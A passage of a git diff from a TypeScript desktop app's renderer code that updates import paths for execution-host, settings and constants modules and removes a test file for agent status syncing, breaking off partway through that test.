'../../../web-session-tabs-sync/navigation/web-session-focus-intent' diff --git a/src/renderer/src/runtime/hosted-terminals/creation/web-runtime-terminal-create-operation.ts b/src/renderer/src/runtime/hosted-terminals/creation/web-runtime-terminal-create-operation.ts index 9b88e162bb6..cc2afb22ea7 100644 --- a/src/renderer/src/runtime/hosted-terminals/creation/web-runtime-terminal-create-operation.ts +++ b/src/renderer/src/runtime/hosted-terminals/creation/web-runtime-terminal-create-operation.ts @@ -3,7 +3,7 @@ import { buildDefaultTerminalOptions } from '@/lib/pane-manager/pane-terminal-op import { createAgentSessionKeyboardOptions } from './agent-launch/agent-session-keyboard-capability' import type { RuntimeRpcResponse } from '../../../../../shared/remote-runtime/rpc/runtime-rpc-envelope' import type { RuntimeMobileSessionCreateTerminalResult } from '../../../../../shared/remote-runtime/session-graph/runtime-session-contracts' -import { toRuntimeExecutionHostId } from '../../../../../shared/execution-host' +import { toRuntimeExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { agentProviderSessionForHostEnsure } from './agent-launch/agent-session-ensure-provider-session' import { translate } from '../../../i18n/i18n' import { agentResumeHostAuthorityCapability } from './agent-launch/agent-resume-host-authority-capability' diff --git a/src/renderer/src/runtime/hosts/display/execution-host-display-label.ts b/src/renderer/src/runtime/hosts/display/execution-host-display-label.ts index 494bc67c1ed..db5fe7ea8b3 100644 --- a/src/renderer/src/runtime/hosts/display/execution-host-display-label.ts +++ b/src/renderer/src/runtime/hosts/display/execution-host-display-label.ts @@ -2,7 +2,7 @@ import { isUnresolvedOwnerHostId, parseExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { getHostSettingOverride } from '../../../../../shared/execution-host/host-setting-overrides' import { getTranslatedExecutionHostLabel } from '@/components/sidebar/execution-host-label' import type { Translate } from '@/i18n/use-translate' diff --git a/src/renderer/src/runtime/hosts/installation/use-managed-runtime-install.ts b/src/renderer/src/runtime/hosts/installation/use-managed-runtime-install.ts index 5cb60d7145e..821426302c5 100644 --- a/src/renderer/src/runtime/hosts/installation/use-managed-runtime-install.ts +++ b/src/renderer/src/runtime/hosts/installation/use-managed-runtime-install.ts @@ -8,7 +8,7 @@ import { isAgentSessionHandleProvider } from '../../../../../shared/agent-sessio import { LOCAL_EXECUTION_HOST_ID, toRuntimeExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { MANAGED_RUNTIME_INSTALL_RUNTIME_CAPABILITY, MANAGED_RUNTIME_REMOVE_RUNTIME_CAPABILITY diff --git a/src/renderer/src/runtime/hosts/observations/provider-runtime-context.ts b/src/renderer/src/runtime/hosts/observations/provider-runtime-context.ts index 372a9fab248..174dbd76483 100644 --- a/src/renderer/src/runtime/hosts/observations/provider-runtime-context.ts +++ b/src/renderer/src/runtime/hosts/observations/provider-runtime-context.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' export function getProviderRuntimeContextKey( settings: Pick | null | undefined diff --git a/src/renderer/src/runtime/hosts/platform/execution-host-facts.ts b/src/renderer/src/runtime/hosts/platform/execution-host-facts.ts index f4d7f06a622..1fefbad2189 100644 --- a/src/renderer/src/runtime/hosts/platform/execution-host-facts.ts +++ b/src/renderer/src/runtime/hosts/platform/execution-host-facts.ts @@ -1,5 +1,11 @@ -import { getRepoExecutionHostId, parseExecutionHostId } from '../../../../../shared/execution-host' -import type { ParsedExecutionHost, ExecutionHostId } from '../../../../../shared/execution-host' +import { + getRepoExecutionHostId, + parseExecutionHostId +} from '../../../../../shared/execution-host/execution-host' +import type { + ParsedExecutionHost, + ExecutionHostId +} from '../../../../../shared/execution-host/execution-host' import { lastVerifiedRuntimeStatus } from '../../../../../shared/remote-runtime/host-status/runtime-host-status' import { runtimeHostContactForEntry } from '../../../../../shared/remote-runtime/host-status/runtime-host-contact' import { resolveHostAgentStartupShell } from '../../../../../shared/shell/launch/windows-terminal-shell' diff --git a/src/renderer/src/runtime/hosts/platform/execution-host-platform-fact.ts b/src/renderer/src/runtime/hosts/platform/execution-host-platform-fact.ts index 4663ff9db57..030e315bcd5 100644 --- a/src/renderer/src/runtime/hosts/platform/execution-host-platform-fact.ts +++ b/src/renderer/src/runtime/hosts/platform/execution-host-platform-fact.ts @@ -1,4 +1,4 @@ -import type { ParsedExecutionHost } from '../../../../../shared/execution-host' +import type { ParsedExecutionHost } from '../../../../../shared/execution-host/execution-host' /** Withhold unreported execution OS; quoting with client/endpoint guesses would target the wrong shell and must stop launch. */ export type ExecutionHostPlatformFact = diff --git a/src/renderer/src/runtime/hosts/preflight/local-preflight-context.ts b/src/renderer/src/runtime/hosts/preflight/local-preflight-context.ts index 0f6946c4aaa..3d8f3d3d280 100644 --- a/src/renderer/src/runtime/hosts/preflight/local-preflight-context.ts +++ b/src/renderer/src/runtime/hosts/preflight/local-preflight-context.ts @@ -1,4 +1,4 @@ -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' import { parseWslUncPath } from '../../../../../shared/file-access/wsl-paths' import { deriveGlobalWindowsRuntimeDefaultFromLegacySettings } from '../../../../../shared/execution-host/project-runtime-legacy-migration' import { getWorkspaceRuntimePreference } from '../../../../../shared/execution-host/project-runtime-preference' @@ -7,7 +7,7 @@ import type { ProjectExecutionRuntimeResolution } from '../../../../../shared/ex import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { parseWorkspaceKey } from '../../../../../shared/workspace/identity/workspace-scope' import { projectMatchesRepo } from '../../../../../shared/project/project-repo-match' import { getIndexedRepoMap, getIndexedReposById } from '@/store/repos/repository-catalog-index' diff --git a/src/renderer/src/runtime/hosts/selection/default-creation-host.ts b/src/renderer/src/runtime/hosts/selection/default-creation-host.ts index faea3662f41..072fc84b672 100644 --- a/src/renderer/src/runtime/hosts/selection/default-creation-host.ts +++ b/src/renderer/src/runtime/hosts/selection/default-creation-host.ts @@ -1,6 +1,6 @@ -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { TaskSourceContext } from '../../../../../shared/work-items/task-source-context' -import { getSettingsFocusedExecutionHostId } from '../../../../../shared/execution-host' +import { getSettingsFocusedExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { ipcOrRuntimeTargetForHostId } from '@/runtime/rpc/targets/runtime-client-target' import type { RuntimeClientTarget } from '../../../../../shared/remote-runtime/host-catalog/runtime-client-target' import { taskSourceRuntimeTarget } from '../../../lib/work-items/task-source-runtime-target' diff --git a/src/renderer/src/runtime/hosts/ssh/ssh-mutation-expectation.ts b/src/renderer/src/runtime/hosts/ssh/ssh-mutation-expectation.ts index 54340f89e1b..1e7837c7616 100644 --- a/src/renderer/src/runtime/hosts/ssh/ssh-mutation-expectation.ts +++ b/src/renderer/src/runtime/hosts/ssh/ssh-mutation-expectation.ts @@ -1,4 +1,7 @@ -import { parseExecutionHostId, toSshExecutionHostId } from '../../../../../shared/execution-host' +import { + parseExecutionHostId, + toSshExecutionHostId +} from '../../../../../shared/execution-host/execution-host' import { resolveOwner } from '../../../lib/workspace/ownership/resolve-owner' import type { SshMutationExpectation } from '../../../../../shared/remote-runtime/ssh/ssh-types' import type { AppState } from '@/store/types' diff --git a/src/renderer/src/runtime/hosts/wsl/local-project-runtime-workspace.ts b/src/renderer/src/runtime/hosts/wsl/local-project-runtime-workspace.ts index 1c665218fad..cf841edff5a 100644 --- a/src/renderer/src/runtime/hosts/wsl/local-project-runtime-workspace.ts +++ b/src/renderer/src/runtime/hosts/wsl/local-project-runtime-workspace.ts @@ -1,6 +1,9 @@ import type { AppState } from '@/store/types' import { getIndexedWorktreeById } from '@/store/slices/worktrees/listing/worktree-catalog-index' -import { getRepoExecutionHostId, type ExecutionHostId } from '../../../../../shared/execution-host' +import { + getRepoExecutionHostId, + type ExecutionHostId +} from '../../../../../shared/execution-host/execution-host' import { findLocalFolderWorkspaceRuntimeRepo, resolveQualifiedFolderWorkspaceResult diff --git a/src/renderer/src/runtime/hosts/wsl/wsl-host-availability.ts b/src/renderer/src/runtime/hosts/wsl/wsl-host-availability.ts index 548c35d05d6..c78625c890e 100644 --- a/src/renderer/src/runtime/hosts/wsl/wsl-host-availability.ts +++ b/src/renderer/src/runtime/hosts/wsl/wsl-host-availability.ts @@ -1,5 +1,5 @@ import { selectWslHostsServing } from '../../../components/sidebar/use-wsl-hosts-enabled' -import { parseExecutionHostId } from '../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { isWslHostRuntimeEnvironment } from '../../../../../shared/remote-runtime/host-catalog/runtime-environments' import { workspaceOwnerHostId } from '@/lib/workspace/ownership/workspace-row-owner-host' import { useAppStore } from '@/store/index' diff --git a/src/renderer/src/runtime/hosts/wsl/wsl-refused-read-watch.ts b/src/renderer/src/runtime/hosts/wsl/wsl-refused-read-watch.ts index 4b0840c1fcf..175328fbdf0 100644 --- a/src/renderer/src/runtime/hosts/wsl/wsl-refused-read-watch.ts +++ b/src/renderer/src/runtime/hosts/wsl/wsl-refused-read-watch.ts @@ -1,5 +1,5 @@ import { ipcOrRuntimeTargetForHostId } from '../../rpc/targets/runtime-client-target' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' /** How often a refused read is re-asked from a host whose running signal cannot reach us. */ export const REFUSED_WSL_READ_REPOLL_MS = 30_000 diff --git a/src/renderer/src/runtime/local-structured-session-tabs-sync/inventory-refresh.ts b/src/renderer/src/runtime/local-structured-session-tabs-sync/inventory-refresh.ts index 05707e2df2f..b6adf86f58c 100644 --- a/src/renderer/src/runtime/local-structured-session-tabs-sync/inventory-refresh.ts +++ b/src/renderer/src/runtime/local-structured-session-tabs-sync/inventory-refresh.ts @@ -11,7 +11,7 @@ import { startStructuredAgentLaunchCancellationCleanup } from '../../lib/agent-session/launch/structured-agent-session-launch-cancellation' import { closeStructuredAgentSession } from '../native-chat/requests/structured-agent-session-close' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host/execution-host' import { callRuntimeRpc } from '../rpc/calls/runtime-rpc-call' import { toRuntimeWorktreeSelector } from '../rpc/targets/runtime-worktree-selector' diff --git a/src/renderer/src/runtime/local-structured-session-tabs-sync/snapshot-apply.ts b/src/renderer/src/runtime/local-structured-session-tabs-sync/snapshot-apply.ts index d9f92157fe4..c1d2ec11769 100644 --- a/src/renderer/src/runtime/local-structured-session-tabs-sync/snapshot-apply.ts +++ b/src/renderer/src/runtime/local-structured-session-tabs-sync/snapshot-apply.ts @@ -26,7 +26,7 @@ import { hostSnapshotAffirmsWorktreeContents } from '../web-session-tabs-sync/hydration/host-session-snapshot-authority' import { retireAbsentStructuredAgentSessionLaunchCancellationTombstones } from '../../lib/agent-session/launch/structured-agent-session-launch-registry' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host/execution-host' import { beginStructuredAgentSessionAuthoritativeInventory, startStructuredAgentLaunchCancellationCleanup diff --git a/src/renderer/src/runtime/local-structured-session-tabs-sync/subscription.ts b/src/renderer/src/runtime/local-structured-session-tabs-sync/subscription.ts index df76101d0b8..55c5ddaeac2 100644 --- a/src/renderer/src/runtime/local-structured-session-tabs-sync/subscription.ts +++ b/src/renderer/src/runtime/local-structured-session-tabs-sync/subscription.ts @@ -1,4 +1,4 @@ -import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host/execution-host' import { STRUCTURED_AGENT_SESSION_RUNTIME_CAPABILITY } from '../../../../shared/agent-session/agent-session-runtime-capabilities' import type { RuntimeMobileSessionTabsResult } from '../../../../shared/remote-runtime/session-graph/runtime-session-contracts' import { refreshLocalRuntimeCapabilities } from '../hosts/capabilities/local-runtime-capabilities' diff --git a/src/renderer/src/runtime/native-chat/agent-catalogs/host-structured-agents-sync.ts b/src/renderer/src/runtime/native-chat/agent-catalogs/host-structured-agents-sync.ts index 65e60a1dc7e..9e1cc4da17e 100644 --- a/src/renderer/src/runtime/native-chat/agent-catalogs/host-structured-agents-sync.ts +++ b/src/renderer/src/runtime/native-chat/agent-catalogs/host-structured-agents-sync.ts @@ -2,7 +2,7 @@ import { useEffect } from 'react' import { LOCAL_EXECUTION_HOST_ID, toRuntimeExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { lastVerifiedRuntimeStatus } from '../../../../../shared/remote-runtime/host-status/runtime-host-status' import { useAppStore } from '@/store/index' import type { AppState } from '@/store/types' diff --git a/src/renderer/src/runtime/native-chat/agent-catalogs/host-structured-agents.ts b/src/renderer/src/runtime/native-chat/agent-catalogs/host-structured-agents.ts index 5fce5076159..1abc369d5f1 100644 --- a/src/renderer/src/runtime/native-chat/agent-catalogs/host-structured-agents.ts +++ b/src/renderer/src/runtime/native-chat/agent-catalogs/host-structured-agents.ts @@ -3,7 +3,7 @@ import { decodeAgentSessionAgentsResult, type AgentSessionRegisteredAgent } from '../../../../../shared/agent-session/agent-session-registered-agents' -import { parseExecutionHostId } from '../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { STRUCTURED_AGENT_SESSION_REGISTERED_AGENTS_RUNTIME_CAPABILITY } from '../../../../../shared/agent-session/structured-agent-session-surface-capabilities' import { lastVerifiedRuntimeStatus, diff --git a/src/renderer/src/runtime/native-chat/agent-catalogs/use-host-structured-agent.ts b/src/renderer/src/runtime/native-chat/agent-catalogs/use-host-structured-agent.ts index fa37214448e..4f0618feeec 100644 --- a/src/renderer/src/runtime/native-chat/agent-catalogs/use-host-structured-agent.ts +++ b/src/renderer/src/runtime/native-chat/agent-catalogs/use-host-structured-agent.ts @@ -5,7 +5,7 @@ import { isAgentSessionHandleProvider } from '../../../../../shared/agent-sessio import { LOCAL_EXECUTION_HOST_ID, toRuntimeExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { lastVerifiedRuntimeStatus } from '../../../../../shared/remote-runtime/host-status/runtime-host-status' import { readHostStructuredAgentsForRuntime, diff --git a/src/renderer/src/runtime/native-chat/local-sessions/local-structured-session-owner.ts b/src/renderer/src/runtime/native-chat/local-sessions/local-structured-session-owner.ts index ed4b43a3f42..262c8062267 100644 --- a/src/renderer/src/runtime/native-chat/local-sessions/local-structured-session-owner.ts +++ b/src/renderer/src/runtime/native-chat/local-sessions/local-structured-session-owner.ts @@ -2,7 +2,7 @@ import { LOCAL_EXECUTION_HOST_ID, toRuntimeExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' export const LOCAL_STRUCTURED_SESSION_OWNER = 'local-structured-session' diff --git a/src/renderer/src/runtime/native-chat/local-sessions/local-structured-session-tab-retirement.ts b/src/renderer/src/runtime/native-chat/local-sessions/local-structured-session-tab-retirement.ts index 276ba833764..8e309e729fb 100644 --- a/src/renderer/src/runtime/native-chat/local-sessions/local-structured-session-tab-retirement.ts +++ b/src/renderer/src/runtime/native-chat/local-sessions/local-structured-session-tab-retirement.ts @@ -1,5 +1,5 @@ import type { WorktreeRuntimeOwnerState } from '../../../lib/workspace/ownership/worktree-runtime-owner-state' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' import { folderWorkspaceKey } from '../../../../../shared/workspace/identity/workspace-scope' import type { WebSessionTabsSyncState } from '../../web-session-tabs-sync/state' diff --git a/src/renderer/src/runtime/native-chat/model-catalogs/host-model-catalog-snapshots-sync.ts b/src/renderer/src/runtime/native-chat/model-catalogs/host-model-catalog-snapshots-sync.ts index bf0af3ae04b..b8f35fc2f8d 100644 --- a/src/renderer/src/runtime/native-chat/model-catalogs/host-model-catalog-snapshots-sync.ts +++ b/src/renderer/src/runtime/native-chat/model-catalogs/host-model-catalog-snapshots-sync.ts @@ -2,7 +2,7 @@ import { useEffect } from 'react' import { LOCAL_EXECUTION_HOST_ID, toRuntimeExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { lastVerifiedRuntimeStatus } from '../../../../../shared/remote-runtime/host-status/runtime-host-status' import type { RuntimeStatus } from '../../../../../shared/remote-runtime/session-graph/runtime-session-contracts' import { diff --git a/src/renderer/src/runtime/native-chat/model-catalogs/model-menu-invalidation.ts b/src/renderer/src/runtime/native-chat/model-catalogs/model-menu-invalidation.ts index 29a3e7a549a..9f5c01e194c 100644 --- a/src/renderer/src/runtime/native-chat/model-catalogs/model-menu-invalidation.ts +++ b/src/renderer/src/runtime/native-chat/model-catalogs/model-menu-invalidation.ts @@ -4,7 +4,7 @@ import { structuralValuesEqual } from '../../../../../shared/collections/structu import { LOCAL_EXECUTION_HOST_ID, toRuntimeExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { lastVerifiedRuntimeStatus } from '../../../../../shared/remote-runtime/host-status/runtime-host-status' import type { RuntimeClientTarget } from '../../../../../shared/remote-runtime/host-catalog/runtime-client-target' import { subscribeRuntimeHostContactRegained } from '../../hosts/connections/runtime-host-contact-regained' diff --git a/src/renderer/src/runtime/native-chat/naming/structured-chat-name-observation.ts b/src/renderer/src/runtime/native-chat/naming/structured-chat-name-observation.ts index 6b82a5186bf..dfcf6ad5fa1 100644 --- a/src/renderer/src/runtime/native-chat/naming/structured-chat-name-observation.ts +++ b/src/renderer/src/runtime/native-chat/naming/structured-chat-name-observation.ts @@ -1,7 +1,7 @@ import { useAppViewExternalStore } from '@/store/retained-views/app-state-view' import { useMemo } from 'react' import { shallow } from 'zustand/shallow' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { useAppStore } from '@/store/index' import { getStructuredAgentSessionTabs } from '@/components/native-chat/session/status/structured-agent-session-tabs' import { diff --git a/src/renderer/src/runtime/native-chat/naming/structured-chat-tab-name.ts b/src/renderer/src/runtime/native-chat/naming/structured-chat-tab-name.ts index 642fe14b450..53c4354b508 100644 --- a/src/renderer/src/runtime/native-chat/naming/structured-chat-tab-name.ts +++ b/src/renderer/src/runtime/native-chat/naming/structured-chat-tab-name.ts @@ -1,7 +1,7 @@ import type { Tab } from '../../../../../shared/workspace-layout/tab-groups/tab-types' import { isAgentSessionConversationName } from '../../../../../shared/agent-session/agent-session-conversation-name' import type { AppState } from '@/store/types' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { structuredAgentSessionOwnerForTab, structuredAgentSessionTargetForHost diff --git a/src/renderer/src/runtime/native-chat/session-ownership/structured-agent-session-owner.ts b/src/renderer/src/runtime/native-chat/session-ownership/structured-agent-session-owner.ts index 174ec9ad860..9824b9f4e3b 100644 --- a/src/renderer/src/runtime/native-chat/session-ownership/structured-agent-session-owner.ts +++ b/src/renderer/src/runtime/native-chat/session-ownership/structured-agent-session-owner.ts @@ -8,7 +8,7 @@ import { parseExecutionHostId, toRuntimeExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import type { Tab } from '../../../../../shared/workspace-layout/tab-groups/tab-types' import { getExecutionHostIdForWorktree } from '@/lib/workspace/ownership/worktree-runtime-owner' import type { WorktreeRuntimeOwnerState } from '@/lib/workspace/ownership/worktree-runtime-owner-state' diff --git a/src/renderer/src/runtime/repo-hooks/ensure-hooks-confirmed.ts b/src/renderer/src/runtime/repo-hooks/ensure-hooks-confirmed.ts index 022113e87c3..ab353ab4d3c 100644 --- a/src/renderer/src/runtime/repo-hooks/ensure-hooks-confirmed.ts +++ b/src/renderer/src/runtime/repo-hooks/ensure-hooks-confirmed.ts @@ -20,7 +20,10 @@ import { type IssueCommandReadResult } from '@/runtime/repo-hooks/runtime-hooks-client' import { MODAL_DISMISSED_KEY } from '@/store/slices/ui/modal-slot-dismissal' -import { getRepoExecutionHostId, type ExecutionHostId } from '../../../../shared/execution-host' +import { + getRepoExecutionHostId, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' const NEVER_CANCEL_TRUST_CHECK = (): boolean => false diff --git a/src/renderer/src/runtime/repo-hooks/hook-owner-resolution.ts b/src/renderer/src/runtime/repo-hooks/hook-owner-resolution.ts index d0f306f5d98..854335c0477 100644 --- a/src/renderer/src/runtime/repo-hooks/hook-owner-resolution.ts +++ b/src/renderer/src/runtime/repo-hooks/hook-owner-resolution.ts @@ -7,7 +7,7 @@ import { getRepoExecutionHostId, toRuntimeExecutionHostId, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' export function findHookRepo(state: AppState, repoId: string, hostId?: ExecutionHostId) { const group = state.projectGroups.find( diff --git a/src/renderer/src/runtime/repo-hooks/runtime-hooks-client.ts b/src/renderer/src/runtime/repo-hooks/runtime-hooks-client.ts index d0b670fca9d..274e9a7ff32 100644 --- a/src/renderer/src/runtime/repo-hooks/runtime-hooks-client.ts +++ b/src/renderer/src/runtime/repo-hooks/runtime-hooks-client.ts @@ -1,6 +1,6 @@ import type { GroupHookCheckResult } from '../../../../shared/project/groups/project-group-hooks' import type { OrcaHooks } from '../../../../shared/workspace-setup/orca-yaml-hook-types' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { SetupScriptImportCandidate } from '../../../../shared/workspace-setup/setup-script-imports' import { callRuntimeRpc } from '../rpc/calls/runtime-rpc-call' import { ipcOrRuntimeTargetForHostId } from '../rpc/targets/runtime-client-target' diff --git a/src/renderer/src/runtime/repo-hooks/setup-script-prompt.ts b/src/renderer/src/runtime/repo-hooks/setup-script-prompt.ts index f76e10a848f..efc587cf095 100644 --- a/src/renderer/src/runtime/repo-hooks/setup-script-prompt.ts +++ b/src/renderer/src/runtime/repo-hooks/setup-script-prompt.ts @@ -1,4 +1,4 @@ -import { getDefaultRepoHookSettings } from '../../../../shared/constants' +import { getDefaultRepoHookSettings } from '../../../../shared/orca-profiles/constants' import { resolveHookCommandSourcePolicy } from '../../../../shared/workspace-setup/hooks/hook-command-source-policy' import type { SetupScriptImportCandidate } from '../../../../shared/workspace-setup/setup-script-imports' import type { RepoHookSettings } from '../../../../shared/workspace-setup/orca-yaml-hook-types' diff --git a/src/renderer/src/runtime/rpc/environment-revisions/host-identity-fence.ts b/src/renderer/src/runtime/rpc/environment-revisions/host-identity-fence.ts index 415a3a495b8..c88bde311a2 100644 --- a/src/renderer/src/runtime/rpc/environment-revisions/host-identity-fence.ts +++ b/src/renderer/src/runtime/rpc/environment-revisions/host-identity-fence.ts @@ -1,5 +1,5 @@ import type { HostRoute } from '../targets/runtime-client-target' -import { parseExecutionHostId } from '../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { getRuntimeEnvironmentRevision, resolveContinuedRuntimeEnvironmentRevision diff --git a/src/renderer/src/runtime/rpc/targets/runtime-client-target.ts b/src/renderer/src/runtime/rpc/targets/runtime-client-target.ts index e14c7e8fabf..7b510917660 100644 --- a/src/renderer/src/runtime/rpc/targets/runtime-client-target.ts +++ b/src/renderer/src/runtime/rpc/targets/runtime-client-target.ts @@ -3,7 +3,7 @@ import { parseRoutableExecutionHostId, toRuntimeExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { parseHostAuthorityKey, type HostAuthority, diff --git a/src/renderer/src/runtime/rpc/targets/runtime-worktree-selector.ts b/src/renderer/src/runtime/rpc/targets/runtime-worktree-selector.ts index a261e7f1a31..a184ccf56d8 100644 --- a/src/renderer/src/runtime/rpc/targets/runtime-worktree-selector.ts +++ b/src/renderer/src/runtime/rpc/targets/runtime-worktree-selector.ts @@ -1,4 +1,4 @@ -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' import { isEphemeralSetupTerminalWorktreeId } from '../../../../../shared/workspace-setup/ephemeral-setup-terminal-worktree-id' const RUNTIME_WORKTREE_ID_SELECTOR_PREFIX = 'id:' diff --git a/src/renderer/src/runtime/source-control/forge/forge-credential-target.ts b/src/renderer/src/runtime/source-control/forge/forge-credential-target.ts index 5f83582b485..cde1013ce2c 100644 --- a/src/renderer/src/runtime/source-control/forge/forge-credential-target.ts +++ b/src/renderer/src/runtime/source-control/forge/forge-credential-target.ts @@ -1,4 +1,4 @@ -import { getRepoExecutionHostId } from '../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { parseHostAuthorityKey } from '../../../../../shared/execution-host/host-authority' import { reviewRepositoryMatchesWorkspace } from '@/lib/source-control/review/review-owner' import { translate } from '@/i18n/i18n' diff --git a/src/renderer/src/runtime/source-control/git/runtime-git-client-context.ts b/src/renderer/src/runtime/source-control/git/runtime-git-client-context.ts index 7745c67ebfa..bb9f2a8a414 100644 --- a/src/renderer/src/runtime/source-control/git/runtime-git-client-context.ts +++ b/src/renderer/src/runtime/source-control/git/runtime-git-client-context.ts @@ -6,7 +6,7 @@ import { getCommitMessageModelDiscoveryHostKeyForScope, getRepoCommitMessageModelDiscoveryHostKey } from '../../../../../shared/source-control/ai/generation/commit-message-host-key' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { HostedReviewProvider } from '../../../../../shared/source-control/hosted-review/hosted-review-contracts' import type { ResolvedSourceControlAiGenerationParams } from '../../../../../shared/source-control/ai/source-control-ai-operation-resolution' import { splitWorktreeIdForFilesystem } from '../../../../../shared/worktree/id' diff --git a/src/renderer/src/runtime/source-control/references/runtime-repo-client.ts b/src/renderer/src/runtime/source-control/references/runtime-repo-client.ts index 8658ffa0506..57f1c008bee 100644 --- a/src/renderer/src/runtime/source-control/references/runtime-repo-client.ts +++ b/src/renderer/src/runtime/source-control/references/runtime-repo-client.ts @@ -5,7 +5,7 @@ import { ipcOrRuntimeTargetForHostId } from '../../rpc/targets/runtime-client-ta import type { RuntimeClientTarget } from '../../../../../shared/remote-runtime/host-catalog/runtime-client-target' import { isRuntimeRepoRefSearchQueryWithinLimit } from './runtime-repo-search-bounds' import { watchRefusedWslRead } from '../../hosts/wsl/wsl-refused-read-watch' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' /** The repo's own host: a server's runtime, or this app (with `hostId`) for local and SSH repos. */ function repoHostTarget(hostId: ExecutionHostId): RuntimeClientTarget { diff --git a/src/renderer/src/runtime/web-session-tabs-sync/agent-status-patch.ts b/src/renderer/src/runtime/web-session-tabs-sync/agent-status-patch.ts index 7f0781b269f..acc6ab0ac75 100644 --- a/src/renderer/src/runtime/web-session-tabs-sync/agent-status-patch.ts +++ b/src/renderer/src/runtime/web-session-tabs-sync/agent-status-patch.ts @@ -1,6 +1,6 @@ import { recordDraft } from '@/store/keyed-record-transitions' import { conversationSessionStartedAt } from '../../store/slices/agent-status/agent-conversation-acceptance' -import { toRuntimeExecutionHostId } from '../../../../shared/execution-host' +import { toRuntimeExecutionHostId } from '../../../../shared/execution-host/execution-host' import { classifyAgentPaneConversation, projectAgentPaneConversation diff --git a/src/renderer/src/runtime/web-session-tabs-sync/agent-status/web-session-tabs-sync-remote-status-title-flap.test.ts b/src/renderer/src/runtime/web-session-tabs-sync/agent-status/web-session-tabs-sync-remote-status-title-flap.test.ts deleted file mode 100644 index 85e8f6d9492..00000000000 --- a/src/renderer/src/runtime/web-session-tabs-sync/agent-status/web-session-tabs-sync-remote-status-title-flap.test.ts +++ /dev/null @@ -1,222 +0,0 @@ -/** Paired panes receive both client byte-derived status/titles and host snapshot echoes. Proven client ownership must fence stale echoes despite cross-machine clocks; teardown returns authority and host-only states pierce the fence. Drive real mirror/store logic with controlled clocks and assert transition order/count, including generatedLabel and epoch stability. */ -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import type { RuntimeMobileSessionTabsResult } from '../../../../../shared/remote-runtime/session-graph/runtime-session-contracts' -import type { AgentStatusEntry } from '../../../../../shared/agent-status/contracts/agent-status-types' - -import { makePaneKey } from '../../../../../shared/workspace-layout/stable-pane-id' -import { toWebTerminalSurfaceTabId } from '../../../../../shared/workspace-layout/terminal-surface-id' -import { getDefaultSettings } from '../../../../../shared/constants' -import type { AppState } from '../../../store/types' -import { createTestStore, seedStore } from '../../../store/testing/app-store-test-fixture' -import { makeWorktree } from '../../../store/slices/worktrees/worktree.test-fixture' -import { - markRendererOwnedAgentStatusWrite, - registerRendererOwnedAgentStatusPane, - resetRendererOwnedAgentStatusPanesForTests, - resolveRendererOwnedAgentStatusTiming -} from '../../../components/terminal-pane/agent-status/renderer-owned-agent-status-registry' -import { applyWebSessionTabsSnapshot } from '../snapshot-api' -import { resetWebSessionTabsSnapshotFreshnessForTests } from '../tracking-lifecycle' -import { shouldApplyWebSessionTabsSnapshot } from '../tracking-decisions' - -// Mirror imports app singleton; redirect it to this createTestStore harness. -vi.mock('../../../store/index', () => ({ - useAppStore: { - setState: vi.fn(), - getState: 